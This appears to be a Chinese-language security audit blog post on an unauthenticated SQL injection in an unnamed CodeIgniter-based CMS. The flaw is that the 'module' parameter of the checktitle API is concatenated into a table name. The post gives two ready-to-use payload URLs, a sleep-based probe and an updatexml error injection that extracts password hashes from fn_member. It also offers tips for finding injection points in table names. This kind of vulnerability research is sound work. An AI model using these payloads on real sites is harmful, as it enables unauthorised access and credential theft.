某cms审计思路,以及ci框架如何找寻注入点
ABOUT
之前闲着没事的时候审的某cms,之前看一群大表哥刷过一次这个cms,想着看看还能不能赶得上分一杯羹,还是审计出来些东西,来说一说一个前台注入吧,orz后面竟然发现提前一周有大表哥交了这个,虽然撞了,但是还是分析分析这个有关的一些思路吧。
首先找注入,思路其实很简单,一个模型一个模型的去看sql,有些猥琐思路,一般过滤都是单引号双引号这些,很少会有注视到类似于表名这样会使用反引号"`"这就是一个比较容易忽视的一个点。这里就找到一个,虽然没有反引号,也是有关表名可利用。
前台无限制注入
http://localhost/index.php?s=member&c=api&m=checktitle&id=1&title=--+&module=block%20a,(select%20%27fn_admin%27%20where%201=sleep(5))%20x%20where%201=sleep(5)%20and%20%27WHERE%20`id`%20%3C%3E%201%20AND%20`title`%20=%20%27=%27
controllersmemberApi.php这个api当中
/**
* 标题检查
*/
public function checktitle() {
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
(!$title || !$module) && exit('');
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
$num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
}
标题检查方法中,看到获取用户get的三个值
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
注意到下面
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
将$module拼接为表名
这个count_all_results是ci框架提供的方法,追踪一下
public function count_all_results($table = '', $reset = TRUE)
{
if ($table !== '')
{
$this->_track_aliases($table);
$this->from($table);
}
// ORDER BY usage is often problematic here (most notably
// on Microsoft SQL Server) and ultimately unnecessary
// for selecting COUNT(*) ...
if ( ! empty($this->qb_orderby))
{
$orderby = $this->qb_orderby;
$this->qb_orderby = NULL;
}
$result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_limit OR $this->qb_offset)
? $this->query($this->_count_string.$this->protect_identifiers('numrows')."
FROM (
".$this->_compile_select()."
) CI_count_all_results")
: $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows')));
if ($reset === TRUE)
{
$this->_reset_select();
}
// If we've previously reset the qb_orderby values, get them back
elseif ( ! isset($this->qb_orderby))
{
$this->qb_orderby = $orderby;
}
if ($result->num_rows() === 0)
{
return 0;
}
$row = $result->row();
return (int) $row->numrows;
}
看到框架底层会将表明做一个分析后构造sql语句,这里由于 $module = $this->input->get('module');是直接获得到的数据,没有太多的处理,这里可以构造注入。首先随便测试一下
看到sql语句出错了,这里我是fuzz出一些ci框架在处理表名的一些规则,有时候他会加表前缀,有时候他会加反引号,总之一会就可以探测出规律。
好了,开始构造payload
http://localhost/index.php?s=member&c=api&m=checktitle&id=1&title=--+&module=block a,(select updatexml(1,concat(0x7e,(select password from fn_member),0x7e),1)) x where 1='
打到后台admin的密码hash了,这里由于api是开放的,没有身份验证,所以是无需登录前台即可
ci框架如何找寻注入点?
首先这套cms是基于ci框架,其实像ci框架的设计感觉还是挺好的,框架和这套cms的耦合度还是挺高的,感觉cms和框架基本融合在一起,设计更平易近人,比如一些参数获取就是简单的post()、get()这样不像tp给人感觉过于突兀。就像开篇说的,一般在接收参数的时候有时候在表名列名这些很有可能会忽视过滤,尤其是在遇到反引号的时候,不管是框架层面还是cms的一些设计层面都会忽略这个潜在的危险,就像上面提到的有关这个的注入,感兴趣的表哥可以自己看一下框架的有关代码,因为从框架的设计层面来说,这里并不会去考虑过多的安全性问题,毕竟这一块的主动权是在开发者手里,框架层面并不能判断这个表这里是用户输入的还是开发者定义的,所以在这往往可能会产生一些问题。有兴趣的表哥可以自己试一试,这里不过多探究。